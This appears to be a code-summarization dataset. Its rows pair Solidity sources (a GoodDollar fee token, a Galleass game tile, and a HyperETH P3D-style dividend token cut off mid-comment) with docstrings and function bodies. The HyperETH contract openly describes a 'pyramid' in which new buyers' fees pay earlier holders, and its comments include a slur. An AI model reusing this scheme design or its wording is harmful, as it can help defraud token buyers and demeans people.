contract ERC677Token is ERC677, DAOToken, ERC20Pausable {
constructor(
string memory _name,
string memory _symbol,
uint256 _cap
) public DAOToken(_name, _symbol, _cap) {}
/**
* @dev transfer token to a contract address with additional data if the recipient is a contact.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
* @return true if transfer is successful
*/
function _transferAndCall(
address _to,
uint256 _value,
bytes memory _data
) internal whenNotPaused returns (bool) {
bool res = super.transfer(_to, _value);
emit Transfer(msg.sender, _to, _value, _data);
if (isContract(_to)) {
require(contractFallback(_to, _value, _data), "Contract fallback failed");
}
return res;
}
/* @dev Contract fallback function. Is called if transferAndCall is called
* to a contract
*/
function contractFallback(
address _to,
uint256 _value,
bytes memory _data
) private returns (bool) {
ERC677Receiver receiver = ERC677Receiver(_to);
require(
receiver.onTokenTransfer(msg.sender, _value, _data),
"Contract Fallback failed"
);
return true;
}
/* @dev Function to check if given address is a contract
* @param _addr Address to check
* @return true if given address is a contract
*/
function isContract(address _addr) internal view returns (bool) {
uint256 length;
assembly {
length := extcodesize(_addr)
}
return length > 0;
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: contracts/token/ERC677BridgeToken.sol
pragma solidity >0.5.4;
contract ERC677BridgeToken is ERC677Token, MinterRole {
address public bridgeContract;
constructor(
string memory _name,
string memory _symbol,
uint256 _cap
) public ERC677Token(_name, _symbol, _cap) {}
function setBridgeContract(address _bridgeContract) public onlyMinter {
require(
_bridgeContract != address(0) && isContract(_bridgeContract),
"Invalid bridge contract"
);
bridgeContract = _bridgeContract;
}
}
// File: contracts/token/GoodDollar.sol
pragma solidity >0.5.4;
/**
* @title The GoodDollar ERC677 token contract
*/
contract GoodDollar is ERC677BridgeToken, IdentityGuard, FormulaHolder {
address feeRecipient;
// Overrides hard-coded decimal in DAOToken
uint256 public constant decimals = 2;
/**
* @dev constructor
* @param _name The name of the token
* @param _symbol The symbol of the token
* @param _cap the cap of the token. no cap if 0
* @param _formula the fee formula contract
* @param _identity the identity contract
* @param _feeRecipient the address that receives transaction fees
*/
constructor(
string memory _name,
string memory _symbol,
uint256 _cap,
AbstractFees _formula,
Identity _identity,
address _feeRecipient
)
public
ERC677BridgeToken(_name, _symbol, _cap)
IdentityGuard(_identity)
FormulaHolder(_formula)
{
feeRecipient = _feeRecipient;
}
/**
* @dev Processes fees from given value and sends
* remainder to given address
* @param to the address to be sent to
* @param value the value to be processed and then
* transferred
* @return a boolean that indicates if the operation was successful
*/
function transfer(address to, uint256 value) public returns (bool) {
uint256 bruttoValue = processFees(msg.sender, to, value);
return super.transfer(to, bruttoValue);
}
/**
* @dev Approve the passed address to spend the specified
* amount of tokens on behalf of msg.sender
* @param spender The address which will spend the funds
* @param value The amount of tokens to be spent
* @return a boolean that indicates if the operation was successful
*/
function approve(address spender, uint256 value) public returns (bool) {
return super.approve(spender, value);
}
/**
* @dev Transfer tokens from one address to another
* @param from The address which you want to send tokens from
* @param to The address which you want to transfer to
* @param value the amount of tokens to be transferred
* @return a boolean that indicates if the operation was successful
*/
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
uint256 bruttoValue = processFees(from, to, value);
return super.transferFrom(from, to, bruttoValue);
}
/**
* @dev Processes transfer fees and calls ERC677Token transferAndCall function
* @param to address to transfer to
* @param value the amount to transfer
* @param data The data to pass to transferAndCall
* @return a bool indicating if transfer function succeeded
*/
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool) {
uint256 bruttoValue = processFees(msg.sender, to, value);
return super._transferAndCall(to, bruttoValue, data);
}
/**
* @dev Minting function
* @param to the address that will receive the minted tokens
* @param value the amount of tokens to mint
* @return a boolean that indicated if the operation was successful
*/
function mint(address to, uint256 value)
public
onlyMinter
requireNotBlacklisted(to)
returns (bool)
{
if (cap > 0) {
require(totalSupply().add(value) <= cap, "Cannot increase supply beyond cap");
}
super._mint(to, value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public onlyNotBlacklisted {
super.burn(value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value)
public
onlyNotBlacklisted
requireNotBlacklisted(from)
{
super.burnFrom(from, value);
}
/**
* @dev Increase the amount of tokens that an owner allows a spender
* @param spender The address which will spend the funds
* @param addedValue The amount of tokens to increase the allowance by
* @return a boolean that indicated if the operation was successful
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
return super.increaseAllowance(spender, addedValue);
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender
* @param spender The address which will spend the funds
* @param subtractedValue The amount of tokens to decrease the allowance by
* @return a boolean that indicated if the operation was successful
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
return super.decreaseAllowance(spender, subtractedValue);
}
/**
* @dev Gets the current transaction fees
* @return an uint256 that represents
* the current transaction fees
*/
function getFees(uint256 value) public view returns (uint256, bool) {
return formula.getTxFees(value, address(0), address(0));
}
/**
* @dev Gets the current transaction fees
* @return an uint256 that represents
* the current transaction fees
*/
function getFees(
uint256 value,
address sender,
address recipient
) public view returns (uint256, bool) {
return formula.getTxFees(value, sender, recipient);
}
/**
* @dev Sets the address that receives the transactional fees.
* can only be called by owner
* @param _feeRecipient The new address to receive transactional fees
*/
function setFeeRecipient(address _feeRecipient) public onlyOwner {
feeRecipient = _feeRecipient;
}
/**
* @dev Sends transactional fees to feeRecipient address from given address
* @param account The account that sends the fees
* @param value The amount to subtract fees from
* @return an uint256 that represents the given value minus the transactional fees
*/
function processFees(
address account,
address recipient,
uint256 value
) internal returns (uint256) {
(uint256 txFees, bool senderPays) = getFees(value, account, recipient);
if (txFees > 0 && !identity.isDAOContract(msg.sender)) {
require(
senderPays == false || value.add(txFees) <= balanceOf(account),
"Not enough balance to pay TX fee"
);
if (account == msg.sender) {
super.transfer(feeRecipient, txFees);
} else {
super.transferFrom(account, feeRecipient, txFees);
}
return senderPays ? value : value.sub(txFees);
}
return value;
}
}
|
Allows an admin to renounce their role/
|
function renounceIdentityAdmin() public {
_removeIdentityAdmin(msg.sender);
}
| 907,368 |
pragma solidity ^0.5.7;
/*
https://galleass.io
by Austin Thomas Griffith
A standard tile has mapping for land owners and inventory hodl/send etc
*/
import './Galleasset.sol';
import './DataParser.sol';
contract StandardTile is Galleasset, DataParser{
constructor(address _galleass) public Galleasset(_galleass) { }
// land x land y land tile
mapping(uint16 => mapping(uint16 => mapping(uint8 => address))) public landOwners;
//each tile will have an inventory of tokens
// land x land y land tile //token address //amount
mapping(uint16 => mapping(uint16 => mapping(uint8 => mapping(address => uint256)))) public tokenBalance;
//standard tile interface
//called when tile is purchased from Land contract
function onPurchase(uint16 _x,uint16 _y,uint8 _tile,address _owner,uint _amount) public returns (bool) {
require(msg.sender==getContract("Land") || msg.sender==getContract("LandLib"));
landOwners[_x][_y][_tile] = _owner;
emit LandOwner(_x,_y,_tile,_owner);
return true;
}
event LandOwner(uint16 _x,uint16 _y,uint8 _tile,address _owner);
modifier isLandOwner(uint16 _x,uint16 _y,uint8 _tile) {
require(msg.sender==landOwners[_x][_y][_tile]);
_;
}
//the owner of the tile will need to stock it with copper to pay fishermen for their fillets
function _sendToken(address _sender, uint _amount, bytes memory _data) internal returns (bool) {
uint16 _x = getX(_data);
uint16 _y = getY(_data);
uint8 _tile = getTile(_data);
_incrementTokenBalance(_x,_y,_tile,msg.sender,_amount);
return true;
}
///////internal helpers to keep stack thin enough//////////////////////////////////////////////////////////
function _incrementTokenBalance(uint16 _x,uint16 _y,uint8 _tile,address _token,uint _amount) internal {
tokenBalance[_x][_y][_tile][_token]+=_amount;
require(tokenBalance[_x][_y][_tile][_token]>=_amount,"Overflow?");
}
function _decrementTokenBalance(uint16 _x,uint16 _y,uint8 _tile,address _token,uint _amount) internal {
require(tokenBalance[_x][_y][_tile][_token]>=_amount,"This tile does not have enough of this token");
tokenBalance[_x][_y][_tile][_token]-=_amount;
}
}
|
/internal helpers to keep stack thin enough/
|
function _incrementTokenBalance(uint16 _x,uint16 _y,uint8 _tile,address _token,uint _amount) internal {
tokenBalance[_x][_y][_tile][_token]+=_amount;
require(tokenBalance[_x][_y][_tile][_token]>=_amount,"Overflow?");
}
| 12,792,790 |
pragma solidity ^0.4.25;
/*
██╗ ██╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗████████╗██╗ ██╗
██║ ██║╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝██║ ██║
███████║ ╚████╔╝ ██████╔╝█████╗ ██████╔╝█████╗ ██║ ███████║
██╔══██║ ╚██╔╝ ██╔═══╝ ██╔══╝ ██╔══██╗██╔══╝ ██║ ██╔══██║
██║ ██║ ██║ ██║ ███████╗██║ ██║███████╗ ██║ ██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
Sepcial thanks to P3D & HODL(tobi) basecode & modification
HyperETH - 2019
Decentralized Blockchain Gaming Ecosystem
Smart Contract & Web Games
*/
contract AcceptsHyperETH {
HyperETH public tokenContract;
constructor(address _tokenContract) public {
tokenContract = HyperETH(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
/**
* @dev Standard ERC677 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
}
contract HyperETH {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrator can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds, except the funding contract
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrator == _customerAddress);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors &&
((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ ) &&
now < ACTIVATION_TIME)
{
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
// only write state variable once
if (onlyAmbassadors) {
onlyAmbassadors = false;
}
}
_;
}
// ambassadors are not allowed to sell their tokens within the anti-pump-and-dump phase
// @Sordren
// hopefully many devs will use this as a standard
modifier ambassAntiPumpAndDump() {
// we are still in ambassadors antiPumpAndDump phase
if (now <= antiPumpAndDumpEnd_) {
address _customerAddress = msg.sender;
// require sender is not an ambassador
require(!ambassadors_[_customerAddress]);
}
// execute
_;
}
// ambassadors are not allowed to transfer tokens to non-amassador accounts within the anti-pump-and-dump phase
// @Sordren
modifier ambassOnlyToAmbass(address _to) {
// we are still in ambassadors antiPumpAndDump phase
if (now <= antiPumpAndDumpEnd_){
address _from = msg.sender;
// sender is ambassador
if (ambassadors_[_from]) {
// sender is not the lending
// this is required for withdrawing capital from lending
if (_from != lendingAddress_) {
// require receiver is ambassador
require(ambassadors_[_to], "As ambassador you should know better :P");
}
}
}
// execute
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Hyper Token";
string public symbol = "HYPER";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10; // 10% dividend dispersement
uint8 constant internal fundFee_ = 3; // 3% development fund
uint8 constant internal referralBonus_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.000000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
uint256 constant internal ambassadorMaxPurchase_ = 2 ether;
uint256 constant internal ambassadorQuota_ = 2 ether;
// anti pump and dump phase time (default 30 days)
uint256 constant internal antiPumpAndDumpTime_ = 30 days; // remember it is constant, so it cannot be changed after deployment
uint256 constant public antiPumpAndDumpEnd_ = ACTIVATION_TIME + antiPumpAndDumpTime_; // set anti-pump-and-dump time to 30 days after deploying
uint256 constant internal ACTIVATION_TIME = 1541966400;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = true;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal lastRef_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator (see above on what they can do)
address internal administrator;
// staking address
address internal lendingAddress_;
// Address to send the 3% fee
address public fundAddress_;
uint256 internal totalEthFundReceived; // total ETH received from this contract
uint256 internal totalEthFundCollected; // total ETH collected in this contract
// ambassador program
mapping(address => bool) internal ambassadors_;
// Special HYPER Platform control from scam game contracts on HYPER platform
mapping(address => bool) public canAcceptTokens_; // contracts, which can accept HYPER tokens
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
// add administrators here
administrator = 0x73018870D10173ae6F71Cac3047ED3b6d175F274;
fundAddress_ = 0xFa48ee5030771E39bc0F89046bF5BeECb65dcf27;
lendingAddress_ = 0xa206d217c0642735e82a6b11547bf00659623163;
// add the ambassadors here.
ambassadors_[0x73018870D10173ae6F71Cac3047ED3b6d175F274] = true; // dev team
ambassadors_[lendingAddress_] = true; // staking, to be the first to buy tokens
ambassadors_[fundAddress_] = true; // fund, to be able to be masternode
// set lending ref
lastRef_[lendingAddress_] = fundAddress_;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
require(tx.gasprice <= 0.05 szabo);
address _lastRef = handleLastRef(_referredBy);
purchaseInternal(msg.value, _lastRef);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
external
{
require(tx.gasprice <= 0.05 szabo);
address lastRef = handleLastRef(address(0)); // hopefully (for you) you used a referral somewhere in the past
purchaseInternal(msg.value, lastRef);
}
/**
* Converts all of caller's dividends to tokens.
*/
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
address _lastRef = handleLastRef(address(0)); // hopefully you used a referral somewhere in the past
uint256 _tokens = purchaseInternal(_dividends, _lastRef);
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/**
* Withdraws all of the callers earnings.
*/
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
ambassAntiPumpAndDump()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); // 10%
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); // 3%
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // Take out dividends and then _fundPayout
// Add ethereum for fund
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* Transfer tokens from the caller to a new holder.
* Remember, there's 0% fee here.
*/
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
ambassOnlyToAmbass(_toAddress)
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/**
* Transfer token to a specified address and forward the data to recipient
* ERC-677 standard
* https://github.com/ethereum/EIPs/issues/677
* @param _to Receiver address.
* @param _value Amount of tokens that will be transferred.
* @param _data Transaction metadata.
*/
function transferAndCall(address _to, uint256 _value, bytes _data)
external
returns (bool)
{
require(_to != address(0));
require(canAcceptTokens_[_to] == true); // security check that contract approved by HYPER platform
require(transfer(_to, _value)); // do a normal token transfer to the contract
if (isContract(_to)) {
AcceptsHyperETH receiver = AcceptsHyperETH(_to);
require(receiver.tokenFallback(msg.sender, _value, _data));
}
return true;
}
/**
* Additional check that the game address we are sending tokens to is a contract
* assemble the given address bytecode. If bytecode exists then the _addr is a contract.
*/
function isContract(address _addr)
private
constant
returns (bool is_contract)
{
// retrieve the size of the code on target address, this needs assembly
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* Sends FUND money to the Fund Contract
*/
function payFund()
public
{
uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundReceived);
require(ethToPay > 0);
totalEthFundReceived = SafeMath.add(totalEthFundReceived, ethToPay);
if(!fundAddress_.call.value(ethToPay).gas(400000)()) {
totalEthFundReceived = SafeMath.sub(totalEthFundReceived, ethToPay);
}
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _identifier)
onlyAdministrator()
public
{
administrator = _identifier;
}
/**
* Only Add game contract, which can accept HYPER tokens.
* Disabling a contract is not possible after activating
*/
function setCanAcceptTokens(address _address)
onlyAdministrator()
public
{
canAcceptTokens_[_address] = true;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the last used referral address of the given address
*/
function myLastRef(address _addr)
public
view
returns(address)
{
return lastRef_[_addr];
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, SafeMath.add(_dividends, _fundPayout));
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _taxedEthereum = SafeMath.div(SafeMath.mul(_ethereum, 100), 80); // 125% => 100/80
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _weiToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_weiToSpend, dividendFee_), 100); // 10%
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_weiToSpend, fundFee_), 100); // 3%
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_weiToSpend, _dividends), _fundPayout); // 87%
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return SafeMath.div(_amountOfTokens, 1e18);
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); // 10%
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100); // 3%
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout); // 87%
return _taxedEthereum;
}
/**
* Function for the frontend to show ether waiting to be send to fund in contract
*/
function etherToSendFund()
public
view
returns(uint256)
{
return SafeMath.sub(totalEthFundCollected, totalEthFundReceived);
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function handleLastRef(address _ref)
internal
returns(address)
{
address _customerAddress = msg.sender; // sender
address _lastRef = lastRef_[_customerAddress]; // last saved ref
// no cheating by referring yourself
if (_ref == _customerAddress) {
return _lastRef;
}
// try to use last ref of customer
if (_ref == address(0)) {
return _lastRef;
} else {
// new ref is another address, replace
if (_ref != _lastRef) {
lastRef_[_customerAddress] = _ref; // save new ref for next time
return _ref; // return new ref
} else {
return _lastRef; // return last used ref
}
}
}
// Make sure we will send back excess if user sends more then 10 ether before 100 ETH in contract
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _purchaseEthereum = _incomingEthereum;
uint256 _excess = 0;
// limit customers value if needed
if(_purchaseEthereum > 10 ether) { // check if the transaction is over 10 ether
if (SafeMath.sub(totalEthereumBalance(), _purchaseEthereum) < 100 ether) { // if so check the contract is less then 100 ether
_purchaseEthereum = 10 ether;
_excess = SafeMath.sub(_incomingEthereum, _purchaseEthereum);
}
}
// purchase tokens
purchaseTokens(_purchaseEthereum, _referredBy);
// payback
if (_excess > 0) {
_customerAddress.transfer(_excess);
}
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); // 10%
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100); // 3%
uint256 _referralPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, referralBonus_), 100); // 10%
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralPayout); // 7% => 10% - 3%
//uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _fundPayout); // 87%
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
// _taxedEthereum should be used, but stack is too deep here
uint256 _amountOfTokens = ethereumToTokens_(SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _fundPayout));
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralPayout);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralPayout);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
